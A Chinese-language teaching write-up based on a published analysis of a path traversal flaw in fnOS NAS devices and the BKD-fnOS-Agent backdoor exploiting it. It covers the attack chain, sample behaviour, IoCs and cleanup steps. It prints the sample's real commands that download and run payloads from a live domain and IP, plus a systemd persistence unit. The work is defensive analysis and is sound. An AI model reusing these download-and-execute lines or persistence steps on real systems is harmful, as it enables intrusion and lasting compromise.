飞牛NAS (fnOS) 路径穿越漏洞利用与挂马样本深度技术分析教学文档
文档简介
本教学文档基于奇安信攻防社区发布的《飞牛NAS (fnOS) 路径穿越漏洞挂马样本深度技术分析报告》整理,旨在详尽解析该漏洞的成因、攻击链、恶意样本的技术细节及对抗措施。通过学习,读者可以深入理解针对物联网/网络存储设备的漏洞利用、恶意样本编写技巧与持久化攻击手法,并掌握相应的安全防护知识。
第一章:漏洞与威胁概述
1.1 漏洞背景
飞牛NAS设备存在一个高危的“路径穿越”漏洞。该漏洞位于/app-center-static静态资源接口。由于后端代码未能对用户输入的访问路径进行充分的安全校验和规范化处理,攻击者可以通过在路径参数中构造包含../(上上级目录)的特殊序列,绕过预期的目录限制,实现越权访问任意文件。
1.2 攻击影响
- 敏感信息窃取:利用此漏洞,攻击者可以直接访问并下载服务器上的关键文件,例如:
/etc/shadow:系统用户的密码哈希文件,可导致密码被破解。/root/.ssh/id_rsa:root用户的SSH私钥,可获取系统最高权限。- 其他系统配置文件、用户私有数据。
- 威胁暴露面:截至2026年初,全球约有超过20万台飞牛NAS设备直接暴露在公网上。由于官方早期修复不透明,大量设备未及时打补丁,形成了巨大的攻击目标池。
第二章:恶意样本静态分析
捕获的恶意样本文件名为BKD-fnOS-Agent,具备以下特征:
| 属性项 | 详细信息 |
|---|---|
| 样本名 | BKD-fnOS-Agent |
| 文件类型 | ELF 64-bit LSB executable, x86-64 |
| 文件大小 | 2.13 MB (2,132,816 Bytes) |
| MD5 | 8952adf21c927cd228c24ca431d3cdaf |
| SHA256 | 3c45b91ac9d4eb5d058a16af2719b7b1acdcd2f59b177de8ce1f9fbc01e423bd |
| 符号表 | 已剥离 (Stripped),增加了逆向分析难度。 |
样本是一个针对x86-64架构Linux系统的可执行文件,其符号信息已被移除,以对抗安全分析人员的静态逆向工程。
第三章:恶意样本动态行为与核心逻辑解析
3.1 基于状态机的控制流
样本的核心恶意逻辑采用状态机(State Machine)架构,这使其行为具备阶段性和灵活性,能够根据条件或远程指令切换不同功能模块,有效规避基于简单行为模式的检测。
- 状态 ID 5 (初始状态):执行环境自检和初始化工作,为后续恶意行为做准备。
- 状态 ID 8 (指令等待状态):与远程C2(命令与控制)服务器通信,等待攻击者下发的指令。
- 状态 ID 22 (载荷下发/执行状态):这是核心攻击阶段,执行横向移动、下载并运行第二阶段恶意载荷等操作。
3.2 隐蔽下载与静默执行
在状态22下,样本执行典型的“无文件”攻击技术。它不会在磁盘上长期驻留大量恶意文件,而是通过内存或临时目录进行操作。
- 攻击指令:
cd /tmp; rm -rf bkd; wget http://xd.killaurasleep.top/bkd; chmod +x bkd; ./bkd; rm -rf bkd cd /tmp; rm -rf bkd2; wget http://151.240.13.91/bkd2; chmod +x bkd2; ./bkd2; rm -rf bkd2 - 技术要点:
- 工作目录:使用
/tmp临时目录,该目录通常不受文件监控重点关照,且重启后文件会被清除。 - 双重冗余C2:同时从域名(
xd.killaurasleep.top)和IP地址(151.240.13.91)两个来源尝试下载第二阶段载荷(bkd和bkd2)。这种设计确保了即使其中一个基础设施失效,攻击链也不会中断。 - 下载即执行:通过
wget下载载荷,立即用chmod +x赋予执行权限,并运行(./bkd),最后删除自身(rm -rf bkd),实现快速、不留痕迹的加载。
- 工作目录:使用
3.3 标准流重定向(规避检测)
为了在执行命令时不留痕迹,样本重定向了进程的标准输出和标准错误流。
- 技术实现:在负责执行命令的函数
sub_CF0中,通过dup2系统调用,将文件描述符1(stdout)和2(stderr)都指向了/dev/null设备。 - 效果:任何由该样本启动的子进程产生的输出或错误信息都不会显示在终端或系统日志中,实现了“静默”攻击,极大地增加了被管理员发现的难度。
3.4 系统调用包装器(增强控制与隐蔽性)
样本没有直接使用标准的C库函数(如system),而是自行封装了底层的execve系统调用。
- 封装函数:
sub_115D是一个复杂的execve包装器,它可以接收可变数量的参数(通过va_list机制),并能灵活构造复杂的命令执行环境。 - 技术细节:在调用
execve之前,样本会通过alloca在栈上动态分配内存,用于存放参数字符串数组,并确保数组以NULL结尾,符合execve的系统调用规范。这种方式增加了底层控制力,也为兼容不同的执行环境或加载更复杂的插件提供了便利。
第四章:持久化机制分析
为了确保在设备重启后恶意代码能自动复活,样本植入了高稳定性的持久化机制。
4.1 创建Systemd服务
针对基于Linux的fnOS系统,样本选择与系统深度集成的systemd服务实现持久化。
- 自身复制:样本会将自身复制到系统可信路径,如
/usr/bin/目录下,并可能进行重命名伪装。 - 生成服务文件:通过函数
sub_990,样本动态创建并写入一个.service配置文件到/etc/systemd/system/目录下。 - 服务文件示例:
[Unit] Description=AutoStart Service After=network-online.target [Service] Type=oneshot ExecStart=/usr/bin/[BKD_NAME] # 指向样本副本 RemainAfterExit=yes [Install] WantedBy=multi-user.target- 此配置确保在网络就绪后,系统会自动运行恶意程序一次,并且服务状态会保持。
4.2 启用服务
样本会执行systemctl enable [service_name]命令。这个操作在/etc/systemd/system/multi-user.target.wants/目录下创建一个指向恶意服务文件的软链接,从而使该服务在系统进入“多用户模式”(即正常启动模式)时被自动启用和运行。
第五章:威胁情报与入侵指标(IoC)
在防御和威胁狩猎中,以下信息是关键参考指标。
5.1 文件哈希(用于文件比对)
- MD5:
8952adf21c927cd228c24ca431d3cdaf - SHA-256:
3c45b91ac9d4eb5d058a16af2719b7b1acdcd2f59b177de8ce1f9fbc01e423bd
5.2 网络基础设施(用于网络流量监控与封禁)
- C2 域名:
xd.killaurasleep.top - C2 IP 地址:
151.240.13.91 - 恶意下载URL:
http://xd.killaurasleep.top/bkdhttp://151.240.13.91/bkd2
5.3 文件路径与进程(用于主机端检测)
| 类别 | 可疑路径/文件 |
|---|---|
| 疑似恶意程序 | /usr/sbin/gots, /usr/bin/nginx, /usr/bin/dockers |
| 被篡改的系统组件 | /usr/trim/bin/trim_https_cgi |
| 持久化服务文件 | /etc/systemd/system/目录下可疑的.service文件 |
| 临时工作文件 | /tmp/bkd, /tmp/bkd2 |
第六章:安全处置与系统加固建议
6.1 紧急排查与清除
- 检查文件:使用提供的MD5/SHA256哈希值,全盘扫描是否存在
BKD-fnOS-Agent样本。检查/usr/bin/、/usr/sbin/等目录下是否有不明新增可执行文件。 - 检查服务:运行
systemctl list-unit-files --type=service和检查/etc/systemd/system/目录,寻找可疑的自定义服务(如名称异常、描述为AutoStart Service等),并禁用、删除相关服务文件和软链接。 - 检查进程:查看是否有异常进程运行,特别是与
/tmp/bkd等相关的进程。
6.2 漏洞修复
- 立即升级:将飞牛NAS的fnOS系统升级到官方发布的最新版本,该版本应包含对
/app-center-static接口路径穿越漏洞的修复补丁。
6.3 网络与访问控制
- 移除公网暴露:如非绝对必要,立即关闭飞牛NAS设备在路由器上的端口转发(如HTTP/HTTPS, SMB, SSH等),避免设备直接暴露在互联网。
- 使用安全隧道访问:如需远程访问,应通过VPN、Tailscale、WireGuard等加密隧道接入内网,再进行访问。
6.4 凭据与密钥重置
- 由于攻击者可能已通过路径穿越漏洞窃取了
/etc/shadow(密码哈希)和/root/.ssh/id_rsa(SSH私钥),在确认系统清理干净后,必须:- 修改系统所有用户(特别是root用户)的密码。
- 更换所有可能的SSH密钥对。
6.5 安全监控增强
- 部署监控:在家庭或企业网络中部署IDS/IPS设备或使用安全监控软件,对内部主机尝试访问已知恶意IoC(如
151.240.13.91)的行为进行告警。 - 文件完整性监控:对系统关键目录(如
/usr/bin/,/etc/systemd/system/)进行文件完整性监控,及时发现未授权的更改。